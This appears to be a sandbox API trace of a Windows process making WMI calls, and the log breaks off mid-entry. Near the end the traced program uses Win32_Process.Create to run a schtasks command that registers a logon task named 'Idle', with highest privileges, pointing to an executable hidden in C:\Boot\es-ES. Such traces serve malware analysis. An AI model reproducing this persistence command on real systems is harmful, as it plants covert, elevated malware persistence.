0x8004103a [0133.626] WbemDefPath:IWbemPath:SetClassName (This=0x1bc1a620, Name="Win32_Process") returned 0x0 [0133.626] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc1a620, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0133.627] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a620, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0133.627] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a620, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0133.627] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a620, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0133.627] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc1a620, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0133.627] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a620, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0133.627] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a620, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0133.627] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a620, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0133.627] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a3e0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0133.627] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a3e0, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0133.627] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a3e0, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0133.627] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a620, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0133.627] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a620, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0133.627] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0133.627] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0133.627] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0133.627] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.629] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bc0f6a0) returned 0x0 [0133.629] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0f6a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0133.629] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0f6a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bc1a7a0) returned 0x0 [0133.629] WbemDefPath:IUnknown:Release (This=0x1bc0f6a0) returned 0x0 [0133.629] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a7a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bc1a7a0) returned 0x0 [0133.629] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a7a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0133.630] WbemDefPath:IUnknown:AddRef (This=0x1bc1a7a0) returned 0x3 [0133.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a7a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0133.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a7a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0133.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a7a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bc0f6e0) returned 0x0 [0133.630] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc0f6e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.630] WbemDefPath:IUnknown:Release (This=0x1bc0f6e0) returned 0x3 [0133.630] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0133.630] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0133.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a7a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0133.630] WbemDefPath:IUnknown:Release (This=0x1bc1a7a0) returned 0x2 [0133.630] WbemDefPath:IUnknown:Release (This=0x1bc1a7a0) returned 0x1 [0133.630] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0133.630] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0133.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a7a0, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bc1a7a0) returned 0x0 [0133.630] WbemDefPath:IUnknown:AddRef (This=0x1bc1a7a0) returned 0x3 [0133.630] WbemDefPath:IUnknown:Release (This=0x1bc1a7a0) returned 0x2 [0133.631] WbemDefPath:IWbemPath:SetText (This=0x1bc1a7a0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0133.631] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a3e0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0133.631] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a3e0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0133.631] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a3e0, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.631] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0133.631] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0133.631] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0133.631] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.632] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc0f720) returned 0x0 [0133.633] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0f720, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0133.633] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0f720, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc1a860) returned 0x0 [0133.633] WbemDefPath:IUnknown:Release (This=0x1bc0f720) returned 0x0 [0133.633] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a860, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc1a860) returned 0x0 [0133.633] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a860, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0133.633] WbemDefPath:IUnknown:AddRef (This=0x1bc1a860) returned 0x3 [0133.633] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a860, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0133.633] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a860, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0133.633] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a860, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc0f760) returned 0x0 [0133.633] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc0f760, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.633] WbemDefPath:IUnknown:Release (This=0x1bc0f760) returned 0x3 [0133.633] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0133.633] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0133.633] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a860, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0133.634] WbemDefPath:IUnknown:Release (This=0x1bc1a860) returned 0x2 [0133.634] WbemDefPath:IUnknown:Release (This=0x1bc1a860) returned 0x1 [0133.634] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0133.634] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0133.634] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a860, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc1a860) returned 0x0 [0133.634] WbemDefPath:IUnknown:AddRef (This=0x1bc1a860) returned 0x3 [0133.634] WbemDefPath:IUnknown:Release (This=0x1bc1a860) returned 0x2 [0133.634] WbemDefPath:IWbemPath:SetText (This=0x1bc1a860, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0133.634] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a7a0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0133.634] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a860, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0133.634] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a860, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0133.634] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a860, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0133.634] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc1a7a0) returned 0x0 [0133.634] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a860, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0133.634] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc1a860, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0133.634] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc1a860, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0133.634] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc1a7a0, uIndex=0x0, pszName="root") returned 0x0 [0133.634] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc1a860, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0133.634] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc1a860, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0133.634] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc1a7a0, uIndex=0x1, pszName="cimv2") returned 0x0 [0133.634] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc1a860, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0133.634] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc1a860, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0133.634] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc1a7a0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0133.634] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc1a7a0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0133.634] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc1a7a0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0133.634] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a3e0, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0133.634] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a3e0, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0133.634] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a3e0, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.634] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a3e0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0133.635] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a3e0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0133.635] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a3e0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.635] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a7a0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0133.635] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a7a0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0133.635] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a7a0, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0133.635] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a7a0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0133.635] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a7a0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0133.635] IWbemServices:GetObject (in: This=0x1bc0b570, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bbd6d30, ppCallResult=0x0) returned 0x0 [0133.639] IWbemClassObject:GetMethod (in: This=0x1bbd6d30, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bc27c10, ppOutSignature=0x1bb7e690*=0x1bc27f80) returned 0x0 [0133.639] IWbemClassObject:SpawnInstance (in: This=0x1bc27c10, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa177b0) returned 0x0 [0133.639] IWbemClassObject:Get (in: This=0x1aa177b0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839698*=0, plFlavor=0x283969c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839698*=8, plFlavor=0x283969c*=32) returned 0x0 [0133.639] IWbemClassObject:Get (in: This=0x1aa177b0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839698*=8, plFlavor=0x283969c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839698*=8, plFlavor=0x283969c*=32) returned 0x0 [0133.640] IWbemClassObject:Put (This=0x1aa177b0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"Idle\" /sc ONLOGON /tr \"'C:\\Boot\\es-ES\\Idle.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0133.640] IWbemClassObject:Get (in: This=0x1aa177b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839728*=0, plFlavor=0x283972c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839728*=13, plFlavor=0x283972c*=32) returned 0x0 [0133.640] IWbemClassObject:Get (in: This=0x1aa177b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839728*=13, plFlavor=0x283972c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839728*=13, plFlavor=0x283972c*=32) returned 0x0 [0133.640] IUnknown:QueryInterface (in: This=0x1bbd6650, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bbd6650) returned 0x0 [0133.640] IUnknown:QueryInterface (in: This=0x1bbd6650, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0133.640] IUnknown:QueryInterface (in: This=0x1bbd6650, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0133.640] IUnknown:AddRef (This=0x1bbd6650) returned 0x3 [0133.640] IUnknown:QueryInterface (in: This=0x1bbd6650, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0133.640] IUnknown:QueryInterface (in: This=0x1bbd6650, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0133.640] IUnknown:QueryInterface (in: This=0x1bbd6650, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bbd6658) returned 0x0 [0133.641] IMarshal:GetUnmarshalClass (in: This=0x1bbd6658, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, 